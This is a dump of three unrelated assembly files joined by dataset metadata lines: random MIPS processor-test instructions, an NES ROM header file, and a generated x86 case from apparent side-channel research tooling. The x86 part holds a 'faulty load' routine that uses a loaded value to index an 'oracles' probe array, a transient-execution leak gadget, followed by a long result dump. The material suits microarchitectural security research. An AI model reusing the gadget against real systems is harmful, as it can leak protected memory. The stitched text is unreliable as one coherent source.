ori $1, $2, 7
mflo $1
TAG538:
divu $1, $1
sll $0, $0, 0
beq $1, $1, TAG539
and $4, $1, $1
TAG539:
subu $4, $4, $4
lui $2, 8
bltz $4, TAG540
add $1, $4, $4
TAG540:
lhu $1, 0($1)
bltz $1, TAG541
addi $2, $1, 13
andi $2, $2, 2
TAG541:
multu $2, $2
sb $2, 0($2)
mthi $2
lbu $2, 0($2)
TAG542:
mfhi $1
sb $1, 0($2)
lb $2, 0($1)
mult $1, $2
TAG543:
lui $4, 8
mfhi $3
bne $3, $2, TAG544
mflo $1
TAG544:
sllv $2, $1, $1
mflo $4
lhu $2, 0($4)
mflo $3
TAG545:
bne $3, $3, TAG546
xor $2, $3, $3
mult $2, $3
lui $1, 14
TAG546:
mult $1, $1
addu $3, $1, $1
bgtz $3, TAG547
divu $3, $3
TAG547:
mthi $3
sll $0, $0, 0
srl $3, $3, 7
mfhi $1
TAG548:
mflo $1
mflo $1
blez $1, TAG549
lui $2, 14
TAG549:
sll $0, $0, 0
mtlo $1
sll $0, $0, 0
sll $0, $0, 0
TAG550:
lui $4, 8
bgtz $4, TAG551
sll $0, $0, 0
beq $4, $4, TAG551
TAG551:
srl $3, $4, 4
mflo $4
lui $3, 5
mflo $3
TAG552:
slti $3, $3, 2
divu $3, $3
multu $3, $3
bne $3, $3, TAG553
TAG553:
mflo $3
mtlo $3
bgtz $3, TAG554
nor $1, $3, $3
TAG554:
sll $0, $0, 0
mtlo $2
srav $4, $1, $1
srl $3, $2, 8
TAG555:
bne $3, $3, TAG556
mflo $2
lui $1, 9
sltiu $4, $3, 10
TAG556:
mult $4, $4
mfhi $1
lui $3, 12
sll $0, $0, 0
TAG557:
srlv $3, $4, $4
mthi $4
sb $3, 0($4)
bgtz $3, TAG558
TAG558:
mflo $1
xori $1, $1, 9
sll $1, $1, 11
lh $3, -18432($1)
TAG559:
lh $1, 0($3)
mflo $1
srav $1, $1, $1
sh $1, 0($1)
TAG560:
mflo $2
ori $2, $2, 4
slti $1, $2, 2
mfhi $4
TAG561:
lui $3, 3
mult $4, $4
lui $2, 12
mthi $4
TAG562:
sltiu $4, $2, 8
multu $2, $2
blez $2, TAG563
lui $1, 11
TAG563:
sll $0, $0, 0
mtlo $1
sll $0, $0, 0
mtlo $4
TAG564:
mult $4, $4
sb $4, 0($4)
lhu $2, 0($4)
bltz $2, TAG565
TAG565:
lw $4, 0($2)
lui $1, 5
lh $4, 0($4)
sh $2, 0($4)
TAG566:
multu $4, $4
beq $4, $4, TAG567
mthi $4
lui $4, 14
TAG567:
mthi $4
xori $4, $4, 7
mfhi $2
div $4, $4
TAG568:
add $2, $2, $2
multu $2, $2
lui $2, 11
lui $4, 4
TAG569:
mthi $4
sll $0, $0, 0
mfhi $1
lui $4, 8
TAG570:
addiu $1, $4, 10
divu $1, $1
bgtz $1, TAG571
mtlo $4
TAG571:
mfhi $4
or $4, $1, $4
lui $4, 7
multu $1, $4
TAG572:
sll $0, $0, 0
mult $3, $3
lui $1, 3
beq $1, $4, TAG573
TAG573:
mthi $1
sll $0, $0, 0
bne $2, $1, TAG574
sltiu $1, $2, 14
TAG574:
addi $4, $1, 1
bltz $4, TAG575
lb $2, 0($4)
sll $2, $4, 7
TAG575:
beq $2, $2, TAG576
mflo $4
mult $4, $4
mflo $3
TAG576:
sra $4, $3, 12
bltz $4, TAG577
sb $4, 0($4)
sb $4, 0($4)
TAG577:
addu $1, $4, $4
bne $1, $4, TAG578
lb $4, 0($1)
bne $1, $4, TAG578
TAG578:
lh $1, 0($4)
sltu $1, $1, $1
bgez $1, TAG579
add $4, $1, $4
TAG579:
ori $3, $4, 12
beq $4, $3, TAG580
sh $4, 0($3)
bltz $3, TAG580
TAG580:
sltiu $2, $3, 13
xor $3, $3, $2
subu $1, $2, $3
mflo $2
TAG581:
sw $2, 0($2)
mult $2, $2
lui $1, 0
beq $2, $1, TAG582
TAG582:
xor $4, $1, $1
or $3, $4, $4
mfhi $1
mthi $3
TAG583:
srlv $2, $1, $1
lhu $2, 0($1)
lbu $2, 0($2)
sw $2, 0($2)
TAG584:
lui $4, 2
mthi $4
sra $3, $4, 12
sll $0, $0, 0
TAG585:
lui $2, 15
sb $2, 0($3)
bltz $2, TAG586
divu $3, $3
TAG586:
mtlo $2
mflo $4
lui $3, 11
sltu $2, $4, $2
TAG587:
lui $1, 5
srl $3, $2, 3
nor $2, $1, $2
mult $3, $3
TAG588:
beq $2, $2, TAG589
slti $3, $2, 12
xor $2, $3, $3
multu $2, $2
TAG589:
lui $2, 0
lui $1, 3
sra $1, $1, 0
mtlo $1
TAG590:
lui $2, 0
div $2, $1
bltz $1, TAG591
srl $3, $2, 7
TAG591:
sh $3, 0($3)
lhu $3, 0($3)
beq $3, $3, TAG592
sh $3, 0($3)
TAG592:
multu $3, $3
mtlo $3
bltz $3, TAG593
lui $2, 7
TAG593:
lui $4, 9
lui $2, 7
lui $2, 4
multu $2, $2
TAG594:
bltz $2, TAG595
sll $0, $0, 0
addiu $1, $2, 6
sll $0, $0, 0
TAG595:
bne $2, $2, TAG596
mfhi $4
mult $2, $2
bltz $4, TAG596
TAG596:
lb $4, 0($4)
bltz $4, TAG597
ori $3, $4, 6
mflo $4
TAG597:
sltiu $4, $4, 6
mtlo $4
div $4, $4
sb $4, 0($4)
TAG598:
blez $4, TAG599
mtlo $4
divu $4, $4
sll $3, $4, 15
TAG599:
mflo $1
lbu $4, 0($1)
bgez $3, TAG600
xor $1, $3, $4
TAG600:
slt $1, $1, $1
lh $2, 0($1)
bne $2, $2, TAG601
mtlo $2
TAG601:
subu $1, $2, $2
lh $3, 0($1)
mtlo $3
lhu $4, -256($3)
TAG602:
sb $4, -256($4)
sh $4, -256($4)
lui $1, 6
xor $3, $1, $1
TAG603:
beq $3, $3, TAG604
lb $2, 0($3)
beq $3, $3, TAG604
mfhi $1
TAG604:
mtlo $1
addiu $4, $1, 4
mtlo $4
divu $4, $1
TAG605:
sra $4, $4, 5
lui $1, 7
mthi $4
srlv $2, $4, $4
TAG606:
div $2, $2
sll $3, $2, 8
bgez $3, TAG607
sh $3, -12288($2)
TAG607:
mflo $2
mfhi $1
sll $3, $1, 11
srl $1, $1, 2
TAG608:
multu $1, $1
beq $1, $1, TAG609
multu $1, $1
mthi $1
TAG609:
sh $1, 0($1)
bltz $1, TAG610
mtlo $1
mtlo $1
TAG610:
mult $1, $1
lw $2, 0($1)
lui $1, 13
blez $2, TAG611
TAG611:
mfhi $3
mult $3, $3
divu $1, $1
bne $1, $3, TAG612
TAG612:
mfhi $1
lui $3, 0
blez $3, TAG613
mflo $2
TAG613:
lb $3, 0($2)
lbu $1, 0($2)
lui $3, 7
bne $3, $1, TAG614
TAG614:
mfhi $2
mult $3, $3
mult $3, $2
bne $3, $2, TAG615
TAG615:
multu $2, $2
mult $2, $2
addi $3, $2, 12
lui $2, 5
TAG616:
srl $2, $2, 14
mtlo $2
mfhi $4
beq $2, $2, TAG617
TAG617:
lb $3, 0($4)
multu $3, $4
srlv $4, $3, $4
multu $4, $3
TAG618:
mflo $1
blez $4, TAG619
mfhi $3
nor $4, $1, $1
TAG619:
lui $4, 12
mfhi $4
lh $1, 0($4)
mtlo $4
TAG620:
slt $3, $1, $1
bne $1, $3, TAG621
lui $2, 6
mflo $4
TAG621:
lw $1, 0($4)
sb $4, 0($4)
blez $4, TAG622
xor $1, $4, $1
TAG622:
mtlo $1
beq $1, $1, TAG623
mflo $2
mtlo $2
TAG623:
beq $2, $2, TAG624
multu $2, $2
bgez $2, TAG624
lhu $2, 0($2)
TAG624:
bgez $2, TAG625
lhu $4, 0($2)
bgtz $2, TAG625
sll $3, $2, 12
TAG625:
multu $3, $3
mthi $3
mflo $4
bgez $4, TAG626
TAG626:
sh $4, 0($4)
mflo $4
bgez $4, TAG627
add $1, $4, $4
TAG627:
sltiu $2, $1, 10
addiu $2, $2, 4
beq $2, $2, TAG628
nor $1, $2, $1
TAG628:
mult $1, $1
lui $2, 5
beq $2, $1, TAG629
mflo $2
TAG629:
andi $3, $2, 11
lw $1, 0($3)
lui $4, 8
addiu $4, $4, 7
TAG630:
mult $4, $4
sll $0, $0, 0
beq $4, $1, TAG631
sll $0, $0, 0
TAG631:
mfhi $3
beq $1, $3, TAG632
mthi $3
lb $1, 0($1)
TAG632:
mult $1, $1
lui $3, 3
blez $1, TAG633
mtlo $1
TAG633:
mfhi $3
addi $1, $3, 10
lbu $4, 0($3)
andi $4, $3, 6
TAG634:
sh $4, 0($4)
sh $4, 0($4)
add $2, $4, $4
lb $3, 0($4)
TAG635:
lui $2, 13
mfhi $4
sh $4, 0($4)
sra $2, $3, 2
TAG636:
sub $1, $2, $2
mult $2, $1
beq $2, $2, TAG637
multu $2, $2
TAG637:
lh $1, 0($1)
sub $4, $1, $1
subu $3, $4, $1
mtlo $4
TAG638:
multu $3, $3
sh $3, 0($3)
andi $1, $3, 0
multu $3, $3
TAG639:
mtlo $1
multu $1, $1
mult $1, $1
sub $3, $1, $1
TAG640:
mult $3, $3
lbu $4, 0($3)
mfhi $2
bgtz $4, TAG641
TAG641:
lbu $1, 0($2)
ori $3, $2, 13
srlv $1, $3, $3
bgtz $1, TAG642
TAG642:
lui $3, 1
bgtz $1, TAG643
lui $1, 8
divu $3, $1
TAG643:
sll $0, $0, 0
beq $1, $1, TAG644
subu $1, $1, $1
bne $1, $1, TAG644
TAG644:
sltiu $2, $1, 9
lui $1, 0
bne $1, $1, TAG645
lbu $3, 0($2)
TAG645:
bne $3, $3, TAG646
lh $3, 0($3)
sb $3, 0($3)
mflo $3
TAG646:
multu $3, $3
mthi $3
beq $3, $3, TAG647
andi $2, $3, 8
TAG647:
sb $2, 0($2)
addu $1, $2, $2
slt $2, $1, $1
sb $2, 0($2)
TAG648:
lui $3, 8
lb $3, 0($2)
bltz $2, TAG649
mthi $3
TAG649:
mflo $1
lui $4, 11
and $2, $4, $3
bgtz $2, TAG650
TAG650:
sb $2, 0($2)
lui $4, 9
addu $4, $4, $4
sll $0, $0, 0
TAG651:
sll $0, $0, 0
lui $2, 12
bgez $4, TAG652
lui $2, 6
TAG652:
mtlo $2
mtlo $2
sll $0, $0, 0
sltu $4, $2, $2
TAG653:
mthi $4
mflo $3
multu $4, $4
multu $3, $3
TAG654:
blez $3, TAG655
addiu $2, $3, 12
mtlo $2
sllv $1, $2, $3
TAG655:
mfhi $4
divu $1, $4
sll $0, $0, 0
divu $4, $1
TAG656:
sltu $3, $4, $4
mfhi $4
addu $4, $4, $4
bltz $4, TAG657
TAG657:
sllv $1, $4, $4
div $1, $4
beq $4, $4, TAG658
srav $4, $4, $1
TAG658:
bgez $4, TAG659
lui $1, 15
mult $4, $1
mult $4, $4
TAG659:
bgez $1, TAG660
mthi $1
lw $2, 0($1)
bgez $1, TAG660
TAG660:
lui $1, 15
divu $1, $2
mthi $2
lui $3, 4
TAG661:
mfhi $2
mtlo $3
addiu $2, $2, 7
bgtz $2, TAG662
TAG662:
sll $0, $0, 0
sll $0, $0, 0
lui $1, 10
mfhi $4
TAG663:
subu $3, $4, $4
mtlo $3
beq $4, $4, TAG664
and $4, $4, $3
TAG664:
beq $4, $4, TAG665
lui $3, 13
sw $3, 0($3)
bltz $3, TAG665
TAG665:
mtlo $3
sll $0, $0, 0
xori $2, $1, 10
bne $1, $1, TAG666
TAG666:
mflo $3
mtlo $3
mtlo $2
mfhi $2
TAG667:
lui $4, 15
sll $0, $0, 0
addu $2, $4, $4
addu $1, $4, $2
TAG668:
blez $1, TAG669
lui $4, 14
mflo $3
sra $2, $3, 10
TAG669:
bgtz $2, TAG670
lbu $2, -640($2)
mfhi $3
mfhi $3
TAG670:
div $3, $3
div $3, $3
sll $0, $0, 0
lui $4, 14
TAG671:
mtlo $4
slti $1, $4, 12
bgtz $4, TAG672
or $1, $1, $4
TAG672:
sll $0, $0, 0
div $1, $1
divu $1, $3
mflo $4
TAG673:
bne $4, $4, TAG674
mult $4, $4
mthi $4
xori $1, $4, 11
TAG674:
lh $4, 0($1)
sw $1, -2826($4)
mthi $1
ori $2, $1, 5
TAG675:
bgtz $2, TAG676
addiu $2, $2, 11
sw $2, 0($2)
lhu $2, 0($2)
TAG676:
subu $2, $2, $2
lui $1, 12
divu $1, $1
multu $2, $1
TAG677:
lui $3, 1
subu $2, $1, $3
beq $3, $2, TAG678
mtlo $2
TAG678:
mflo $4
mflo $4
bgtz $4, TAG679
xori $2, $2, 12
TAG679:
sll $0, $0, 0
and $4, $2, $2
bgez $4, TAG680
lui $1, 1
TAG680:
mult $1, $1
sll $0, $0, 0
sll $0, $0, 0
mtlo $4
TAG681:
mthi $4
sll $0, $0, 0
sll $0, $0, 0
bne $4, $4, TAG682
TAG682:
mflo $2
lui $3, 4
xor $4, $2, $4
bne $4, $4, TAG683
TAG683:
mult $4, $4
lui $2, 3
mflo $3
mult $2, $4
TAG684:
sub $1, $3, $3
lui $3, 11
srav $3, $3, $3
sll $0, $0, 0
TAG685:
sll $0, $0, 0
sll $0, $0, 0
mfhi $3
mthi $2
TAG686:
bne $3, $3, TAG687
lbu $4, 0($3)
blez $4, TAG687
lbu $1, 0($3)
TAG687:
beq $1, $1, TAG688
lb $3, 0($1)
bgez $3, TAG688
multu $3, $3
TAG688:
lh $4, 0($3)
sb $3, 0($3)
ori $1, $4, 1
mthi $1
TAG689:
bgtz $1, TAG690
addu $3, $1, $1
mthi $1
xor $2, $1, $3
TAG690:
bltz $2, TAG691
mflo $4
mtlo $4
multu $4, $2
TAG691:
lb $3, 0($4)
lui $2, 7
div $4, $2
sltiu $3, $4, 14
TAG692:
mtlo $3
lbu $1, 0($3)
sb $1, 0($3)
bltz $1, TAG693
TAG693:
sltiu $3, $1, 13
bltz $1, TAG694
sb $1, 0($3)
lui $3, 0
TAG694:
bgez $3, TAG695
mflo $1
mthi $3
mtlo $3
TAG695:
div $1, $1
lb $3, 0($1)
lui $2, 9
mfhi $3
TAG696:
mult $3, $3
or $3, $3, $3
andi $1, $3, 7
srlv $2, $1, $3
TAG697:
bltz $2, TAG698
xor $2, $2, $2
lui $2, 8
sll $0, $0, 0
TAG698:
or $1, $3, $3
beq $3, $3, TAG699
lw $3, 0($3)
nor $1, $3, $3
TAG699:
lui $4, 3
mtlo $1
sltiu $2, $4, 9
mfhi $4
TAG700:
mflo $3
mfhi $4
lui $2, 6
mthi $4
TAG701:
mtlo $2
sll $0, $0, 0
lui $4, 1
beq $2, $4, TAG702
TAG702:
ori $3, $4, 8
mthi $3
mult $4, $4
sll $0, $0, 0
TAG703:
sll $0, $0, 0
addiu $4, $2, 3
sll $0, $0, 0
mflo $2
TAG704:
add $4, $2, $2
andi $4, $4, 3
addiu $3, $4, 6
bgez $4, TAG705
TAG705:
mfhi $3
andi $4, $3, 13
sllv $1, $4, $3
beq $3, $3, TAG706
TAG706:
mthi $1
mthi $1
lui $4, 8
addiu $4, $4, 5
TAG707:
sltu $3, $4, $4
bgtz $4, TAG708
and $3, $4, $4
add $2, $3, $3
TAG708:
lw $3, 0($2)
srlv $4, $2, $3
mthi $3
srlv $3, $2, $4
TAG709:
lhu $2, 0($3)
mflo $2
mthi $2
xor $2, $3, $2
TAG710:
beq $2, $2, TAG711
sw $2, 0($2)
bgez $2, TAG711
mfhi $2
TAG711:
bne $2, $2, TAG712
sb $2, 0($2)
bne $2, $2, TAG712
andi $1, $2, 5
TAG712:
lh $1, 0($1)
sw $1, 0($1)
lh $1, 0($1)
mult $1, $1
TAG713:
bne $1, $1, TAG714
sw $1, 0($1)
lui $2, 9
bgtz $2, TAG714
TAG714:
sll $3, $2, 15
mfhi $2
sb $2, 0($2)
mflo $2
TAG715:
beq $2, $2, TAG716
lbu $1, 0($2)
bgez $1, TAG716
mthi $2
TAG716:
beq $1, $1, TAG717
multu $1, $1
lb $2, 0($1)
nor $1, $2, $2
TAG717:
mfhi $1
beq $1, $1, TAG718
mfhi $4
addu $4, $4, $1
TAG718:
and $2, $4, $4
ori $3, $4, 2
bne $3, $2, TAG719
sb $2, 0($3)
TAG719:
beq $3, $3, TAG720
addu $3, $3, $3
sb $3, 0($3)
bgtz $3, TAG720
TAG720:
mflo $2
sw $3, 0($3)
mflo $4
lb $2, 0($2)
TAG721:
mtlo $2
ori $4, $2, 4
lui $4, 14
bgez $4, TAG722
TAG722:
lui $2, 14
sll $0, $0, 0
mtlo $4
andi $2, $4, 11
TAG723:
mthi $2
lui $1, 7
mfhi $3
lui $3, 11
TAG724:
sll $0, $0, 0
addu $1, $1, $3
sll $0, $0, 0
beq $1, $1, TAG725
TAG725:
mtlo $1
slt $1, $1, $1
blez $1, TAG726
mflo $1
TAG726:
sll $0, $0, 0
mflo $4
div $4, $4
andi $2, $1, 2
TAG727:
sb $2, 0($2)
blez $2, TAG728
lb $1, 0($2)
sh $2, 0($2)
TAG728:
multu $1, $1
lui $2, 4
mthi $2
mfhi $1
TAG729:
sll $0, $0, 0
mfhi $1
bgtz $3, TAG730
lui $3, 15
TAG730:
mult $3, $3
mthi $3
blez $3, TAG731
sll $0, $0, 0
TAG731:
mtlo $3
srav $3, $3, $3
lui $1, 8
sll $0, $0, 0
TAG732:
lui $3, 4
sll $0, $0, 0
mtlo $3
addiu $1, $3, 11
TAG733:
sll $0, $0, 0
bltz $1, TAG734
lui $4, 5
sll $0, $0, 0
TAG734:
and $2, $4, $4
bne $2, $2, TAG735
mflo $1
div $4, $1
TAG735:
lui $4, 2
sll $0, $0, 0
sll $0, $0, 0
blez $4, TAG736
TAG736:
sll $0, $0, 0
sll $1, $2, 6
bne $1, $2, TAG737
sll $0, $0, 0
TAG737:
srav $4, $1, $1
mfhi $2
sll $0, $0, 0
lui $2, 9
TAG738:
mult $2, $2
bgtz $2, TAG739
mfhi $1
andi $4, $2, 1
TAG739:
mthi $4
sll $0, $0, 0
mult $4, $4
bne $4, $4, TAG740
TAG740:
andi $1, $4, 2
multu $4, $1
lui $3, 8
subu $1, $1, $3
TAG741:
srav $2, $1, $1
nor $4, $1, $2
beq $2, $1, TAG742
mtlo $2
TAG742:
blez $4, TAG743
mtlo $4
or $4, $4, $4
mult $4, $4
TAG743:
addiu $4, $4, 3
sll $0, $0, 0
mthi $2
mult $4, $2
TAG744:
sll $0, $0, 0
lui $1, 15
beq $1, $2, TAG745
srlv $4, $1, $1
TAG745:
sltiu $1, $4, 14
sltiu $2, $4, 1
sw $4, 0($1)
bltz $4, TAG746
TAG746:
sh $2, 0($2)
lw $3, 0($2)
ori $3, $3, 3
bltz $3, TAG747
TAG747:
lui $3, 11
srlv $2, $3, $3
div $3, $2
mfhi $1
TAG748:
beq $1, $1, TAG749
lui $1, 7
andi $1, $1, 11
sh $1, 0($1)
TAG749:
sll $0, $0, 0
xor $4, $1, $1
blez $4, TAG750
lui $2, 4
TAG750:
nop
nop
test_end:
beq $0, $0, test_end
nop |
||||
TheStack | b6178457aea77fb5164805a47e920f04e98fdffc | Assemblycode:Assembly | {"size": 2650, "ext": "asm", "max_stars_repo_path": "src/data.asm", "max_stars_repo_name": "haramako/castle", "max_stars_repo_stars_event_min_datetime": "2015-11-17T04:33:16.000Z", "max_stars_repo_stars_event_max_datetime": "2017-06-23T21:58:50.000Z", "max_issues_repo_path": "src/data.asm", "max_issues_repo_name": "haramako/fc-sample", "max_issues_repo_issues_event_min_datetime": "2020-11-24T14:03:18.000Z", "max_issues_repo_issues_event_max_datetime": "2020-11-24T14:15:47.000Z", "max_forks_repo_path": "src/data.asm", "max_forks_repo_name": "haramako/fc-sample", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": 2, "max_issues_count": 3, "max_forks_count": null, "avg_line_length": 36.301369863, "max_line_length": 74, "alphanum_fraction": 0.3645283019} | .exportzp FC_LOCAL
.exportzp FC_REG
.exportzp FC_STACK
.exportzp FC_FASTCALL_REG
.exportzp L ; TODO: そのうち消すこと
.exportzp reg
.exportzp S
.import interrupt
.import start
.import interrupt_irq
.segment "HEADER"
; +--------+------+------------------------------------------+
; | Offset | Size | Content(s) |
; +--------+------+------------------------------------------+
; | 0 | 3 | 'NES' |
; | 3 | 1 | $1A |
; | 4 | 1 | 16K PRG-ROM page count |
; | 5 | 1 | 8K CHR-ROM page count |
; | 6 | 1 | ROM Control Byte #1 |
; | | | %####vTsM |
; | | | | ||||+- 0=Horizontal mirroring |
; | | | | |||| 1=Vertical mirroring |
; | | | | |||+-- 1=SRAM enabled |
; | | | | ||+--- 1=512-byte trainer present |
; | | | | |+---- 1=Four-screen mirroring |
; | | | | | |
; | | | +--+----- Mapper # (lower 4-bits) |
; | 7 | 1 | ROM Control Byte #2 |
; | | | %####0000 |
; | | | | | |
; | | | +--+----- Mapper # (upper 4-bits) |
; | 8-15 | 8 | $00 |
; | 16-.. | | Actual 16K PRG-ROM pages (in linear |
; | ... | | order). If a trainer exists, it precedes |
; | ... | | the first PRG-ROM page. |
; | ..-EOF | | CHR-ROM pages (in ascending order). |
; +--------+------+------------------------------------------+
.byte $4e,$45,$53,$1a ; "NES"^Z
.byte 16 ; ines prg - Specifies the number of 16k prg banks.
.byte 8 ; ines chr - Specifies the number of 8k chr banks.
;; MMC3(4), battery backuped RAM
.byte %01000011 ; ines mir - Specifies VRAM mirroring of the banks.
.byte 0 ; ines map - Specifies the NES mapper used.
.byte 0,0,0,0,0,0,0,0 ; 8 zeroes
.segment "FC_ZEROPAGE": zeropage
FC_LOCAL: .res $10
FC_REG: .res $10
FC_FASTCALL_REG: .res $10
.segment "FC_STACK": zeropage
FC_STACK: .res $80
L = FC_LOCAL
reg = FC_REG
S = FC_STACK
.segment "VECTORS"
.word interrupt
.word start
.word interrupt_irq
.segment "fs_data"
.incbin "../res/fs_data.bin"
|
||||
TheStack | 3e87c5b9285927376376106cb2121513a4f012c2 | Assemblycode:Assembly | {"size": 6711, "ext": "asm", "max_stars_repo_path": "Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xa0.log_21829_706.asm", "max_stars_repo_name": "ljhsiun2/medusa", "max_stars_repo_stars_event_min_datetime": "2020-08-13T19:41:58.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T12:22:51.000Z", "max_issues_repo_path": "Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xa0.log_21829_706.asm", "max_issues_repo_name": "ljhsiun2/medusa", "max_issues_repo_issues_event_min_datetime": "2021-04-29T06:29:35.000Z", "max_issues_repo_issues_event_max_datetime": "2021-05-13T21:02:30.000Z", "max_forks_repo_path": "Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xa0.log_21829_706.asm", "max_forks_repo_name": "ljhsiun2/medusa", "max_forks_repo_forks_event_min_datetime": "2020-07-14T17:07:07.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-21T01:12:22.000Z"} | {"max_stars_count": 9, "max_issues_count": 1, "max_forks_count": 3, "avg_line_length": 36.6721311475, "max_line_length": 2999, "alphanum_fraction": 0.6584711667} | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r13
push %r14
push %r15
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x14339, %rcx
nop
nop
nop
cmp $48388, %r10
movups (%rcx), %xmm7
vpextrq $0, %xmm7, %rbp
nop
nop
dec %r14
lea addresses_UC_ht+0xb91, %rsi
lea addresses_WC_ht+0x12b39, %rdi
clflush (%rsi)
nop
nop
nop
nop
nop
inc %rbp
mov $40, %rcx
rep movsw
nop
nop
sub %rdi, %rdi
lea addresses_normal_ht+0x98b9, %rsi
nop
nop
nop
nop
nop
sub %r13, %r13
movl $0x61626364, (%rsi)
nop
nop
nop
nop
xor $64842, %r14
lea addresses_A_ht+0x1eaf1, %rsi
and %r14, %r14
mov $0x6162636465666768, %rcx
movq %rcx, %xmm3
and $0xffffffffffffffc0, %rsi
movaps %xmm3, (%rsi)
nop
xor $58205, %r14
lea addresses_WT_ht+0x1a1c5, %r14
nop
nop
add %rbp, %rbp
mov (%r14), %cx
nop
nop
nop
xor %r13, %r13
lea addresses_WC_ht+0x9a39, %rdi
nop
nop
add %rcx, %rcx
movb $0x61, (%rdi)
nop
nop
nop
nop
nop
add %rcx, %rcx
lea addresses_A_ht+0x16e32, %rdi
nop
nop
nop
nop
nop
xor $15348, %r10
movups (%rdi), %xmm1
vpextrq $0, %xmm1, %rsi
nop
nop
add %r10, %r10
lea addresses_WC_ht+0x1b0d9, %rdi
nop
nop
nop
nop
nop
xor $24199, %r13
movw $0x6162, (%rdi)
nop
nop
nop
dec %r13
lea addresses_D_ht+0x65b1, %rsi
lea addresses_A_ht+0x3539, %rdi
nop
nop
and %r15, %r15
mov $96, %rcx
rep movsl
nop
nop
add $14618, %r15
lea addresses_A_ht+0x1574d, %rsi
lea addresses_UC_ht+0xb889, %rdi
nop
lfence
mov $13, %rcx
rep movsb
add $55314, %rcx
lea addresses_WC_ht+0xae99, %r13
nop
nop
nop
nop
cmp %r15, %r15
mov $0x6162636465666768, %rcx
movq %rcx, %xmm7
vmovups %ymm7, (%r13)
sub $43317, %r15
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r15
pop %r14
pop %r13
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r9
push %rax
push %rdi
push %rsi
// Faulty Load
lea addresses_WT+0xf339, %r9
nop
nop
cmp %rax, %rax
mov (%r9), %r12w
lea oracles, %r9
and $0xff, %r12
shlq $12, %r12
mov (%r9,%r12,1), %r12
pop %rsi
pop %rdi
pop %rax
pop %r9
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': True, 'same': False, 'congruent': 0, 'type': 'addresses_WT', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_WT', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'NT': False, 'same': False, 'congruent': 10, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 3, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'same': True, 'congruent': 7, 'type': 'addresses_WC_ht'}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 7, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 4}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_A_ht', 'AVXalign': True, 'size': 16}}
{'src': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 7, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 1}}
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 4, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 2}}
{'src': {'same': False, 'congruent': 3, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 9, 'type': 'addresses_A_ht'}}
{'src': {'same': False, 'congruent': 2, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 4, 'type': 'addresses_UC_ht'}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 4, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 32}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 